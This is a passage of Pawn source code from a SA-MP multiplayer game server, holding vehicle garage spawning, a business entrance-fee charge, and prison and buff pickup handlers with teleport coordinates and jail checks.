			 MashinOwner_3[carid] = playerid;
			 SetVehicleNumberPlate(carid,PlayerInfo[playerid][cPlate_3]);
			 PlayerInfo[playerid][pCar_3] = carid;
			 SaveKonVal(playerid, "pCar_3", carid);
			 Benzin[carid] = PlayerInfo[playerid][cFuel_3];
			 SetVehicleHealth(carid,PlayerInfo[playerid][cHealth_3]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,PINFO[playerid][cPanel_3],PINFO[playerid][cDoors_3],PINFO[playerid][cLights_3],PINFO[playerid][cTires_3]);
			 PlayerInfo[playerid][cLock_3] = 1;
			 SaveKonVal(playerid, "cLock_3", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(carid,i,0,PINFO[playerid][cLock_3]);
			 }
			 SetVehiclePos(carid, PINFO[playerid][gLocationX_3], PINFO[playerid][gLocationY_3], PINFO[playerid][gLocationZ_3]+0.5);
			 SetVehicleZAngle(carid, PINFO[playerid][gAngle_3]);
			 PINFO[playerid][gParked_3] = 0;
			 SaveKonVal(playerid, "gParked_3", 0);
			 return 1;
}
CreateVehGarage_4(playerid)
{
			 new model = PlayerInfo[playerid][cModel_4];
			 new Float:posx = PlayerInfo[playerid][cLocationx_4];
			 new Float:posy = PlayerInfo[playerid][cLocationy_4];
			 new Float:posz = PlayerInfo[playerid][cLocationz_4];
			 new Float:angle = PlayerInfo[playerid][cAngle_4];
			 new color1 = PlayerInfo[playerid][cColor1_4];
			 new color2 = PlayerInfo[playerid][cColor2_4];
			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);
			 if(PlayerInfo[playerid][cHealth_4] <= 249.9)
			 {
				PlayerInfo[playerid][cHealth_4] = 1000.0;
				SaveKonFloat(playerid, "cHealth_4", 1000);
				if(PINFO[playerid][cInsurance_4] <= 0)
				{
					PINFO[playerid][cFixed_4] = 0;
					SaveKonVal(playerid, "cFixed_4", 0);
				}
				else
				{
					PINFO[playerid][cInsurance_4] --;
					SaveKonVal(playerid, "cInsurance_4", PINFO[playerid][cInsurance_4]);
				}
			 }
			 OwnedMashin_4[carid] = 1;
			 MashinOwner_4[carid] = playerid;
			 SetVehicleNumberPlate(carid,PlayerInfo[playerid][cPlate_4]);
			 PlayerInfo[playerid][pCar_4] = carid;
			 SaveKonVal(playerid, "pCar_4", carid);
			 Benzin[carid] = PlayerInfo[playerid][cFuel_4];
			 SetVehicleHealth(carid,PlayerInfo[playerid][cHealth_4]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,PINFO[playerid][cPanel_4],PINFO[playerid][cDoors_4],PINFO[playerid][cLights_4],PINFO[playerid][cTires_4]);
			 PlayerInfo[playerid][cLock_4] = 1;
			 SaveKonVal(playerid, "cLock_4", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(carid,i,0,PINFO[playerid][cLock_4]);
			 }
			 SetVehiclePos(carid, PINFO[playerid][gLocationX_4], PINFO[playerid][gLocationY_4], PINFO[playerid][gLocationZ_4]+0.5);
			 SetVehicleZAngle(carid, PINFO[playerid][gAngle_4]);
			 PINFO[playerid][gParked_4] = 0;
			 SaveKonVal(playerid, "gParked_4", 0);
			 return 1;
}
*/
function KamKonTune(playerid)
{
	for(new i = 16;i<21;i++)
	{
	   if(IsPlayerInRangeOfPoint(playerid, 65, SBizzInfo[i][sbEntranceX], SBizzInfo[i][sbEntranceY], SBizzInfo[i][sbEntranceZ]))
	   {
		  new string[256];
		  format(string, 256, "~r~-$%d", SBizzInfo[i][sbEntranceCost]);
		  GameTextForPlayer(playerid, string, 5000, 1);
		  SBizzInfo[i][sbTill] += SBizzInfo[i][sbEntranceCost];
		  GivePlayerPool(playerid, -SBizzInfo[i][sbEntranceCost]);
		  return 1;
	   }
	}
	return 1;
}
/*public OnPlayerPickUpDynamicPickup(playerid, pickupid)
{
if(FCNPC_IsValid(playerid)) return 1;

if(pickupid == prisonpickup1)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, -981.210876, -632.599121, 32.030052);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
//FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup2)
{
if(IsAtjail(playerid)&&ICanFree[playerid]==0){SEM(playerid, "It's locked.");}
else
{
SetPlayerPos(playerid, -989.430603, -617.714416, 32.030052);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
if(PINFO[playerid][pJailTime] >= 1 && ICanFree[playerid] == 1)
{
ICanFree[playerid] = 0;
PlayerInfo[playerid][pJailTime] = 1;
}
//FreezePlayer(playerid);
}
}
if(pickupid == prisonpickup3)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, -1001.756591, -655.518432, 32.030059);
SetPlayerFacingAngle(playerid, 90);
SetCameraBehindPlayer(playerid);
//FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup4)
{
if(IsAtjail(playerid)&&ICanFree[playerid]==0){SEM(playerid, "It's locked.");}
else
{
SetPlayerPos(playerid, -984.168823, -649.538085, 32.030052);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
//FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup5)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)){SEM(playerid, "It's locked.");}
else
{
new tmphour;
new tmpminute;
new tmpsecond;
gettime(tmphour, tmpminute, tmpsecond);
tmphour = shifthour;
if(tmphour>=9&&tmphour<=17)
{
SetPlayerInterior(playerid, 3);
SetPlayerPos(playerid, -204.531250, -1738.553955, 675.768737);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
else
{
if(!IsACop(playerid)){SEM(playerid, "It's locked.");}
else
{
SetPlayerInterior(playerid, 3);
SetPlayerPos(playerid, -204.531250, -1738.553955, 675.768737);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
}
}
if(pickupid == prisonpickup6)
{
SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, -1045.039306, -643.038208, 32.030052);
SetPlayerFacingAngle(playerid, -90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup7)
{
SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, -1083.557861, -656.652038, 32.030052);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup8)
{
if(!IsACop(playerid)){SEM(playerid, "It's locked.");}
else
{
SetPlayerInterior(playerid, 15);
SetPlayerPos(playerid, 1819.853149, -1531.035522, 5700.428710-2000);
SetPlayerFacingAngle(playerid, -90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup9)
{
SetPlayerPos(playerid, 2152.86035, 1298.71545, 7698.04248-3999);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup10)
{
SetPlayerPos(playerid, -1117.835205, -667.249938, 32.028053);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup11)
{
SetPlayerPos(playerid, 2152.86035, 1298.71545, 7698.04248-4000);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup12)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, -1968.63660, 321.74475, 1551.14771+1);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup13)
{
if(PINFO[playerid][pAdminJailed]!=0){SEM(playerid, "You can't exit from here.");}
else
{
SetPlayerPos(playerid, -1008.420043, -720.510803, 32.608818);
SetPlayerFacingAngle(playerid, 30);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup14)
{
SetPlayerPos(playerid, -1029.942993, -700.127075, 32.028053);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
}
if(pickupid == prisonpickup15)
{
SetPlayerPos(playerid, 384.77194, 2324.43311, 1888.56982);
SetPlayerFacingAngle(playerid, 90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup16)
{
if(CanGoOut==0&&!IsACop(playerid)){SEM(playerid, "You can't go out from here now.");}
else
{
SetPlayerPos(playerid, -999.426330, -674.430664, 32.030059);
SetPlayerFacingAngle(playerid, -270);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup17)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, 2589.67383, -1498.19495, -49.93408+1);
SetPlayerFacingAngle(playerid, 90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup18)
{
SetPlayerPos(playerid, -996.774108, -698.449523, 32.030055);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup19)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
if(IsAtjail(playerid)){SEM(playerid, "It's locked.");}
else
{
SetPlayerPos(playerid, 2569.819091, -1489.179199, -48.914062);
SetPlayerFacingAngle(playerid, 260);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
}
if(pickupid == prisonpickup20)
{
if(AzadShode[playerid]==1){SetPlayerPos(playerid, -1038.913696, -566.435852, 32.007812);SetPlayerFacingAngle(playerid, 0);SetCameraBehindPlayer(playerid);AzadShode[playerid]=0;SetPlayerInterior(playerid, 0);SetPlayerVirtualWorld(playerid, 0);Mahal[playerid]=9999;TooHouse[playerid]=9999;TooBiz[playerid]=9999;}
}
if(pickupid == prisonpickup21)
{
if(GunGereftam[playerid]==0)
{
GunGereftam[playerid]=1;
GivePlayerKolang(playerid, 31, 1);
}
}

return 1;
}*/

public OnPlayerPickUpPickup(playerid, pickupid)
{
if(FCNPC_IsValid(playerid)) return 1;


if(pickupid == prisonpickup1)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, -981.210876, -632.599121, 32.030052);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
//FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup2)
{
if(IsAtjail(playerid)&&ICanFree[playerid]==0){SEM(playerid, "It's locked.");}
else
{
SetPlayerPos(playerid, -989.430603, -617.714416, 32.030052);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
if(PINFO[playerid][pJailTime] >= 1 && ICanFree[playerid] == 1)
{
ICanFree[playerid] = 0;
PlayerInfo[playerid][pJailTime] = 1;
}
//FreezePlayer(playerid);
}
}
if(pickupid == prisonpickup3)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, -1001.756591, -655.518432, 32.030059);
SetPlayerFacingAngle(playerid, 90);
SetCameraBehindPlayer(playerid);
//FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup4)
{
if(IsAtjail(playerid)&&ICanFree[playerid]==0){SEM(playerid, "It's locked.");}
else
{
SetPlayerPos(playerid, -984.168823, -649.538085, 32.030052);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
//FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup5)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)){SEM(playerid, "It's locked.");}
else
{
new tmphour;
new tmpminute;
new tmpsecond;
gettime(tmphour, tmpminute, tmpsecond);
tmphour = shifthour;
if(tmphour>=9&&tmphour<=17)
{
SetPlayerInterior(playerid, 3);
SetPlayerPos(playerid, -204.531250, -1738.553955, 675.768737);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
else
{
if(!IsACop(playerid)){SEM(playerid, "It's locked.");}
else
{
SetPlayerInterior(playerid, 3);
SetPlayerPos(playerid, -204.531250, -1738.553955, 675.768737);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
}
}
if(pickupid == prisonpickup6)
{
SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, -1045.039306, -643.038208, 32.030052);
SetPlayerFacingAngle(playerid, -90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup7)
{
SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, -1083.557861, -656.652038, 32.030052);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup8)
{
if(!IsACop(playerid)){SEM(playerid, "It's locked.");}
else
{
SetPlayerInterior(playerid, 15);
SetPlayerPos(playerid, 1819.853149, -1531.035522, 5700.428710-2000);
SetPlayerFacingAngle(playerid, -90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup9)
{
SetPlayerPos(playerid, 2152.86035, 1298.71545, 7698.04248-3999);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup10)
{
SetPlayerPos(playerid, -1117.835205, -667.249938, 32.028053);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup11)
{
SetPlayerPos(playerid, 2152.86035, 1298.71545, 7698.04248-4000);
SetPlayerFacingAngle(playerid, 0);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup12)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, -1968.63660, 321.74475, 1551.14771+1);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup13)
{
if(PINFO[playerid][pAdminJailed]!=0){SEM(playerid, "You can't exit from here.");}
else
{
SetPlayerPos(playerid, -1008.420043, -720.510803, 32.608818);
SetPlayerFacingAngle(playerid, 30);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup14)
{
SetPlayerPos(playerid, -1029.942993, -700.127075, 32.028053);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
}
if(pickupid == prisonpickup15)
{
SetPlayerPos(playerid, 384.77194, 2324.43311, 1888.56982);
SetPlayerFacingAngle(playerid, 90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup16)
{
if(CanGoOut==0&&!IsACop(playerid)){SEM(playerid, "You can't go out from here now.");}
else
{
SetPlayerPos(playerid, -999.426330, -674.430664, 32.030059);
SetPlayerFacingAngle(playerid, -270);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup17)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
SetPlayerPos(playerid, 2589.67383, -1498.19495, -49.93408+1);
SetPlayerFacingAngle(playerid, 90);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
if(pickupid == prisonpickup18)
{
SetPlayerPos(playerid, -996.774108, -698.449523, 32.030055);
SetPlayerFacingAngle(playerid, 180);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 9999;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
if(pickupid == prisonpickup19)
{
if(!IsAtjail(playerid)&&!IsACop(playerid)&&!IsACopNear(playerid, 15)){SEM(playerid, "You can't enter to prison while there is no cops near you.");}
else
{
if(IsAtjail(playerid)){SEM(playerid, "It's locked.");}
else
{
SetPlayerPos(playerid, 2569.819091, -1489.179199, -48.914062);
SetPlayerFacingAngle(playerid, 260);
SetCameraBehindPlayer(playerid);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
ImInPrison[playerid]=1;
}
}
}
if(pickupid == prisonpickup20)
{
if(AzadShode[playerid]==1){SetPlayerPos(playerid, -1038.913696, -566.435852, 32.007812);SetPlayerFacingAngle(playerid, 0);SetCameraBehindPlayer(playerid);AzadShode[playerid]=0;SetPlayerInterior(playerid, 0);SetPlayerVirtualWorld(playerid, 0);Mahal[playerid]=9999;TooHouse[playerid]=9999;TooBiz[playerid]=9999;}
}
if(pickupid == prisonpickup21)
{
if(GunGereftam[playerid]==0)
{
GunGereftam[playerid]=1;
GivePlayerKolang(playerid, 31, 1);
}
}


		if(pickupid == BuffPickup[0])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[0]);
				SetTimer("CreateBuffID0", 600000, false);
		}
		if(pickupid == BuffPickup[1])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[1]);
				SetTimer("CreateBuffID1", 600000, false);
		}
		if(pickupid == BuffPickup[2])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[2]);
				SetTimer("CreateBuffID2", 600000, false);
		}
		if(pickupid == BuffPickup[3])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[3]);
				SetTimer("CreateBuffID3", 600000, false);
		}
		if(pickupid == BuffPickup[4])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[4]);
				SetTimer("CreateBuffID4", 600000, false);
		}
		if(pickupid == BuffPickup[5])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[5]);
				SetTimer("CreateBuffID5", 600000, false);
		}
		if(pickupid == BuffPickup[6])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[6]);
				SetTimer("CreateBuffID6", 600000, false);
		}
		if(pickupid == BuffPickup[7])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[7]);
				SetTimer("CreateBuffID7", 600000, false);
		}
		if(pickupid == BuffPickup[8])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[8]);
				SetTimer("CreateBuffID8", 600000, false);
		}
		if(pickupid == BuffPickup[9])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[9]);
				SetTimer("CreateBuffID9", 600000, false);
		}
		if(pickupid == BuffPickup[10])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[10]);
				SetTimer("CreateBuffID10", 600000, false);
		}
		if(pickupid == BuffPickup[11])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[11]);
				SetTimer("CreateBuffID11", 600000, false);
		}
		if(pickupid == BuffPickup[12])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[12]);
				SetTimer("CreateBuffID12", 600000, false);
		}
		if(pickupid == BuffPickup[13])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[13]);
				SetTimer("CreateBuffID13", 600000, false);
		}
		if(pickupid == BuffPickup[14])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[14]);
				SetTimer("CreateBuffID14", 600000, false);
		}
		if(pickupid == BuffPickup[15])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[15]);
				SetTimer("CreateBuffID15", 600000, false);
		}
		if(pickupid == BuffPickup[16])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[16]);
				SetTimer("CreateBuffID16", 600000, false);
		}
		if(pickupid == BuffPickup[17])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[17]);
				SetTimer("CreateBuffID17", 600000, false);
		}
		if(pickupid == BuffPickup[18])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[18]);
				SetTimer("CreateBuffID18", 600000, false);
		}
		if(pickupid == BuffPickup[19])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[19]);
				SetTimer("CreateBuffID19", 600000, false);
		}
		if(pickupid == BuffPickup[20])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[20]);
				SetTimer("CreateBuffID20", 600000, false);
		}
		if(pickupid == BuffPickup[21])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[21]);
				SetTimer("CreateBuffID21", 600000, false);
		}
		if(pickupid == BuffPickup[22])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[22]);
				SetTimer("CreateBuffID22", 600000, false);
		}
		if(pickupid == BuffPickup[23])
		{
